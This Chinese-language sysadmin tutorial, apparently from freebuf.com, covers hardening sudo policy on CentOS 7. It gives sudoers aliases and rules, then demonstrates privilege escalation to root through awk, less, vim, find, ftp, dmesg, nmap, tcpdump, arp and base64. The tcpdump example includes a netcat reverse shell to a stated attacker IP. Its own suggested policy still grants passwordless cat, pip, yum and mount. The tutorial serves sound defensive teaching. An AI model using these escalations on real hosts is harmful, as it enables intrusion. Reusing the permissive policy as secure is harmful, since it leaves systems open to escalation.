一、操作目的和应用场景
某些应用系统维护人员为了工作方便,将普通用户设置为不需要输入口令即可以root身份执行任何命令。这是非常不安全的,因为一旦攻击者获得了普通账户的权限,即可在系统中执行任意指令。因此有必要制定适合于维护人员的sudo策略,使维护人员可以通过受到限制的超级用户权限处理业务上的问题,同时又不至于被攻击者利用从而对系统产生很大的伤害。下面是我的一点思考,与大家分享。
二、平台及工具版本
操作系统:CentOS 7
三、操作步骤
(一)运维人员需要执行的命令
初步将运维人员可能需要以root身份执行的命令归纳如下:
1、 服务管理
/usr/bin/systemctl start
/usr/bin/systemctl stop
/usr/bin/systemctl reload
/usr/bin/systemctl restart
/usr/bin/systemctl status
/usr/bin/systemctl enable
/usr/bin/systemctl disable
2、 进程管理
/usr/bin/nice
/usr/bin/kill
/usr/bin/killall
/usr/bin/ps
/usr/bin/top
3、 网络管理
/usr/sbin/route
/usr/sbin/ifconfig
/usr/bin/netstat
4、 存储管理
/usr/sbin/fdisk
/usr/sbin/sfdisk
/usr/sbin/parted
/usr/sbin/partprobe
/usr/bin/mount
/usr/bin/umount
5、 关闭系统
/usr/sbin/reboot
/usr/sbin/halt
/usr/sbin/poweroff
6、 软件管理
/usr/bin/rpm
/usr/bin/yum
/usr/local/bin/pip
/usr/local/bin/pip3
7、 文件管理
/usr/bin/ls
/usr/bin/cat
8、 其它
维护人员需要执行的其它命令。
(二)visudo配置
visudo //管理员身份运行,加入下面的内容
1、 创建用户别名
User_Alias USERS = user1, user2
2、 创建命令别名
Cmnd_Alias SERVICES = /usr/sbin/service, /usr/sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/systemctl disable *
Cmnd_Alias PROCESS = /usr/bin/nice, /usr/bin/kill, /usr/bin/killall, /usr/bin/ps, /usr/bin/top
Cmnd_Alias NETWORKING = /usr/sbin/route, /usr/sbin/ifconfig, /usr/bin/netstat
Cmnd_Alias STORAGE = /usr/sbin/fdisk, /usr/sbin/sfdisk, /usr/sbin/parted, /usr/sbin/partprobe, /usr/bin/mount, /usr/bin/umount
Cmnd_Alias SHUTDOWN = /usr/sbin/reboot, /usr/sbin/halt, /usr/sbin/poweroff, /usr/sbin/shutdown
Cmnd_Alias SOFTWARE = /usr/bin/rpm, /usr/bin/yum, /usr/local/bin/pip, /usr/local/bin/pip3
Cmnd_Alias FILE = /usr/bin/ls, /usr/bin/cat
3、 创建sudo规则
USERS ALL = (root) NOPASSWD: SERVICES, PROCESS, NETWORKING, STORAGE, SHUTDOWN, SOFTWARE, FILE
保存退出
(三)测试
1、 重启服务
2、 杀死进程
3、 配置网络
4、 管理存储
5、 关闭系统
6、 管理软件
7、 文件系统
以上的操作中,普通用户无法执行的命令,通过sudo都可以执行。在这个例子中sudo权限允许的范围可能过大,朋友们根据工作中的实际需要修改命令别名中的命令即可。
(四)实际的例子
例如编写一个远程巡检脚本,该脚本以普通用户的身份运行,但是需要执行目标系统中的某些受限命令,访问一些受限文件。这时只需要在目标系统运行visudo,加入相关的指令即可。
visudo //运行visudo命令,编辑/etc/sudoers文件
//创建命令别名:
Cmnd_Alias SECMAN_LOGON = /usr/bin/cat /var/log/secure*, /usr/bin/lastb, /usr/bin/journalctl _SYSTEMD_UNIT=sshd.service
Cmnd_Alias SECMAN_AUTORUN = /usr/bin/crontab -uroot -l
Cmnd_Alias SECMAN_SYSCONFIG = /usr/sbin/iptables -L -t nat -n, /usr/sbin/iptables -L -t filter -n
Cmnd_Alias SECMAN_LOG = /usr/bin/cat /root/.bash_history
Cmnd_Alias SECMAN_PROCESS = /usr/bin/sar 1 3
//创建sudo规则
secman ALL = (root) NOPASSWD: SECMAN_LOGON, SECMAN_AUTORUN, SECMAN_SYSCONFIG, SECMAN_LOG, SECMAN_PROCESS
保存退出
该远程巡检脚本中运行的命令很多,但visudo中无需加入那些普通用户身份就能得到正常结果的命令,如/usr/bin/last、cat /etc/passwd等,只将那些不使用root身份就得不到正确结果的命令加入即可。
(五)sudo提权演示
下面向大家演示一些由sudo造成提权的例子,让大家了解sudo存在的风险。可能造成sudo提权的程序包括系统自带的命令、第三方软件,以及用户编写的脚本等。大家注意,在配置sudo策略的时候不要将能够造成提权的命令放在允许执行的命令列表中。
1、 awk提权
(1) 允许用户通过sudo执行awk
编辑sudoers,允许user1用户使用sudo执行/usr/bin/awk
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/awk
保存退出
(2) 提权
sudo awk ‘BEGIN {system(“/bin/bash”)}’
提权成功,得到了root shell。
2、 less提权
(1) 将less加入sudo配置文件
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/less
保存退出
(2) 提权
sudo less /etc/passwd
输入!/bin/bash
回车后得到root权限:
提权成功,得到了root shell。
3、 vim提权
(1) 将less加入sudo配置文件
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/vim
保存退出
(2) 提权
sudo vim -c ‘!bash’
提权成功,得到了root shell。
4、 find提权
(1) 将find加入sudo配置文件
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/find
保存退出
(2) 提权
sudo find /usr/bin -name ls -exec /bin/bash \;
提权成功,得到了root shell。
5、 tcpdump提权
(1) 创建一个可执行脚本
touch /tmp/test.sh
#!/bin/bash
nc -e /bin/bash 192.168.1.6 8080
192.168.1.6是攻击者的IP。保存退出
chmod +x /tmp/test.sh
(2) 将tcpdump加入sudo配置文件
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/sbin/tcpdump
保存退出
(3) 攻击者使用netcat监听自己机器上的8080端口
nc -l -p 8080
(4) 提权
tcpdump中有两个参数:-z和-Z。前者用来执行一个脚本,后者用来指定tcpdump以哪个用户身份运行。当可以通过sudo执行时,可以指定以root用户运行指定的脚本,从而达到提权的目的。
sudo tcpdump -ln -i enp0s3 -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root
脚本很快结束退出,但是在攻击者的机器上已经得到了一个反向shell:
root@kali:~/# nc -l -p 8080
提权成功,得到了root shell。
6、 ftp提权
(1) 允许用户通过sudo执行ftp
编辑sudoers,允许user1用户使用sudo执行/usr/bin/ftp
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/ftp
保存退出
(2) 提权
sudo ftp
!/bin/bash
提权成功,得到了root权限。
7、 dmesg提权
(1) 允许用户通过sudo执行cp
编辑sudoers,允许user1用户使用sudo执行/usr/bin/dmesg
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/dmesg
保存退出
(2) 提权
sudo dmesg -H
输入!/bin/bash
提权成功,得到了root shell。
8、 nmap提权
(1) 将nmap加入sudo配置文件
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/nmap
保存退出
(2) 提权
使用nse脚本提权,普通用户进行下面的操作:
echo “os.execute(‘/bin/bash’)” > /tmp/shell.nse
sudo nmap –script=/tmp/shell.nse 127.0.0.1
提权成功,得到了root shell。
9、 arp提权
(1) 允许用户通过sudo执行arp
编辑sudoers,允许user1用户使用sudo执行/usr/sbin/arp
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/sbin/arp
保存退出
(2) 提权
sudo arp -v -f /etc/shadow
提权成功,读取了/etc/shadow。
10、 base64提权
(1) 允许用户通过sudo执行base64
编辑sudoers,允许user1用户使用sudo执行/usr/bin/base64
visudo //编辑配置文件,加入下面的行
user1 ALL=/usr/bin/base64
保存退出
(2) 提权
sudo base64 “/etc/shadow” | base64 –decode
提权成功,读取了/etc/shadow。
来源:freebuf.com 2020-07-15 23:27:35 by: regitnew
请登录后发表评论
注册